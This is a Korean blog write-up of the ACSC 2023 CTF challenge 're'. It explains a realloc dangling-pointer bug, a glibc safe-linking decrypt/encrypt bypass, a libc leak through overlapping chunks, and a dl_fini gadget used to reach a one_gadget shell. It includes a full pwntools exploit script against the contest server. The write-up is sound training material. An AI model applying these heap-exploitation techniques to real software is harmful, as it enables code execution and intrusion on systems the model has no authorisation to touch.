[CTF write up] ACSC CTF 2023 - re : tcache poisoning in Ubuntu 22.04

2023. 2. 26. 07:19CTF write up

ida

 

realloc만 쓸 수 있으며, 만들 수 있는 청크 크기에 제한이 걸려있다. realloc은 아래와 같은 동작을 하기 때문에 사실상 malloc, free 둘다 사용할 수 있다.

  • realloc(0,size) -> malloc(size)
  • realloc(ptr,0) -> free(ptr)

 

취약점은 realloc(ptr,0)로 free를 하였을때 size > mlist.size 조건문을 통과하지 않아서 mlist 변수에 포인터가 그대로 남는다는 것이다. 이때 해당 dangling 포인터에 대해 realloc(ptr,size) 함수를 실행하면 realloc의 반환값으로 ptr에 들어간 dangling 포인터가 그대로 반환된다. 하지만 실제로 해당 청크는 할당되지 않았기 때문에 그대로 bin list에 들어가 있다. 이러한 realloc의 특이한 동작으로 인해 tcache poisoning이 가능하다.

 

하지만 해당 문제는 Ubuntu 22.04에서 동작중이고, 높은 버전의 glibc를 사용하고 있기 때문에 다음과 같은 특징이 있다.

  • Heap Safe-linking mitigaion in Tcache, Fastbin
  • no __free_hook, __malloc_hook, __realloc_hook
  • no call ptr in rtld_global

 

Safe-linking 보호기법의 경우 매우 간단하게 우회가 되지만, hook overwrite를 하지 못하는 것은 꽤 머리가 아프다. 일반적으로, libc에는 Full Relro 보호기법이 안걸려있다는 점을 이용하여, j_strlen 등을 one_gadget으로 overwrite하여 puts 함수 실행시점에서 Exploit 되도록 하지만 이번 문제에서는 Overwrite 이후 실행되는 puts 함수에서 one_gadget 조건이 전혀 맞지가 않는다(!)

 

일단 Safe-linking 보호기법이다.

heap_base >> 12 ^ fd(ptr)

위와 같이 heap_base의 주소를 이용해 tcache의 fd(ptr)을 암호화 한다. 그렇기 때문에 tcache를 통해 heap 주소를 즉시 leak할 수도 없으며, tcache poisoning을 이용해 임의의 주소 쓰기(AAW)를 할 수도 없다. 굉장히 까다로운 mitigation인 것 같지만 아래의 코드로 암호화 된 포인터를 쉽게 복호화 / 암호화 할 수 있다.

heap_base_key = 0
def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1,6):
        bits = 64-12*i
        if(bits < 0): bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12

    global heap_base_key; heap_base_key = key
    return plain

def encrypt(plain):
    return (heap_base_key ^ plain)

tcache의 fd(ptr)만 있으면 해당 함수를 통해 암/복호화가 가능하기 때문에 사실상 Safe-linking이 있으나 없으나 똑같은 방법으로 tcache poisoning을 할 수 있다.

 

 

gdb

 

tcache poisoning을 이용한 임의의 주소 쓰기(AAW)로 Overlapping Chunk를 만들어서 해제해주면 0x78 사이즈 제한이 있는 상황에서도 unsorted bin을 통해 libc 주소를 유출할 수 있다. Overlapping Chunk를 만들때는 일반적인 Overlapping Chunk Attack을 할때랑 비슷하게 heap chunk의 경계를 잘 맞춰줘야 한다. 그렇지 않으면 free할때 바로 터진다.

 

libc 주소를 얻었으면 RIP 조작을 통해 Shell을 따야하는데, 위에서도 언급했듯이 hook overwrite도 안되고 그렇다고 ubuntu 22.04에서 주로 사용하던 j_strlen overwrite도 안된다. 

 

한참 찾다가 dl_fini에서 굉장히 유용한 가젯을 발견했다. dl_fini는 __libc_main_start 함수에서 main을 실행하고 종료한 후 exit -> __run_exit_handlers 에서 실행되는 함수인데, 프로그램이 종료될때 무조건 실행된다.

dl_fini

ida로 ld를 까서 확인해보면 call qword ptr [rax]라는 좋은 대상이 있다. gdb로 분석하면 바이너리 주소가 있고 fini_array 관련 데이터를 인자로 담는 걸 알 수 있다.  어쨋거나 위 어셈을 분석해보면

  • mov rax, [rax+8] -> rax : 0x3d88 (고정값)
  • add rax, [r15] -> rax : ptr+0x3d88->func
  • call qword ptr [rax] -> call rax : ptr+0x3d88->func

 

위와 같은 루틴으로 특정 func이 call된다. 여기서 ld의 rw 영역의 포인터인 [r15]를 다음과 같이 조작해주면 원하는 함수를 실행할 수 있다.

  • *[r15] = p64(*r15+0x8-0x3d88)+p64(oneshot)

 

r15 값은 libc 주소 알면 offset 차이로 구할 수 있기 때문에 사실상 16바이트 overwrite만 되면 쉽게 원하는 함수를 실행할 수 있다.

 

 

최종코드는 다음과 같다. 리모트에서는 libc와 ld 영역 사이의 offset이 0x1000 단위로 다르기 때문에 -+0x1000*i로 몇번 브포해주면 쉘이 따인다. 그리고 함수를 안써서 코드가 좀 괴상하다.

from pwn import *
import sys

#context.log_level = 'debug'

heap_base_key = 0
def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1,6):
        bits = 64-12*i
        if(bits < 0): bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12

    global heap_base_key; heap_base_key = key
    return plain

def encrypt(plain):
    return (heap_base_key ^ plain)

#p = process(["./chall"], env={'LD_PRELOAD':'./libc.so.6'})
p = remote('re.chal.ctf.acsc.asia',9999)

#create dummy chunk 0x5d1
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'6')
p.sendlineafter(b':',b'16')
p.sendlineafter(b':',b'a')
for i in range(0,49):
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b':',b'9')
    p.sendlineafter(b':',b'0')

#create
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'16')
p.sendafter(b':',b'a'*15)

#free
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')

#dup
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')

#dup2
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'16')
p.sendafter(b':',b'a'*15)

#create
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'16')
p.sendafter(b':',b'a'*15)

#free
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'0')

#free
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')

#show
p.sendlineafter(b'>',b'2')

p.recvuntil(b'[1] ')
lic = u64(p.recvn(6).ljust(8,b'\x00'))
heap_chunk_1 = decrypt(lic)
print(f'heap_chunk_1 : {hex(heap_chunk_1)}')


lower_chunk = heap_chunk_1 - 0x660
print(f'lower_chunk : {hex(lower_chunk)}')

#create dup
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'16')
p.sendafter(b':',p64(encrypt(lower_chunk-0x10)))


#create fake chunk
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'8')
p.sendlineafter(b':',b'16')
p.sendafter(b':',b'a'*1)

#free unsorted bin
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'6')
p.sendlineafter(b':',b'0')

#free unsorted bin
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'5')
p.sendlineafter(b':',b'16')
p.sendafter(b':',b'x'*1)

#create fake chunk
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'7')
p.sendlineafter(b':',b'16')
p.sendafter(b':',b'\x00'*8+p16(0x501))

#free unsorted bin
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'6')
p.sendlineafter(b':',b'0')

#leak libc
p.sendlineafter(b'>',b'2')

lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f'lic : {hex(lic)}')
#0x2652e0
oneshot = 0xebcf1+lic-0x219ce0
banana = lic-0x219ce0+0x2652e0+0x1000*2
print(f'banana : {hex(banana)}')

#AAW
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'3')
p.sendlineafter(b':',b'16')
p.sendlineafter(b':',b'x'*1)

p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'3')
p.sendlineafter(b':',b'0')

p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')

p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'16')
p.sendafter(b':',p64(encrypt(banana)))


p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'4')
p.sendlineafter(b':',b'16')
p.sendlineafter(b':',b'x'*1)


p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'9')
p.sendlineafter(b':',b'16')
p.sendafter(b':',p64(banana+0x8-0x3d88)+p64(oneshot)[:-2])

p.sendline(b'a')

p.sendline(b'cat flag-d94e6e54390896df46c829b26445054c.txt')
p.sendline(b'cat flag-d94e6e54390896df46c829b26445054c.txt')
p.sendline(b'cat flag-d94e6e54390896df46c829b26445054c.txt')
p.sendline(b'cat flag-d94e6e54390896df46c829b26445054c.txt')

p.interactive()

 

flag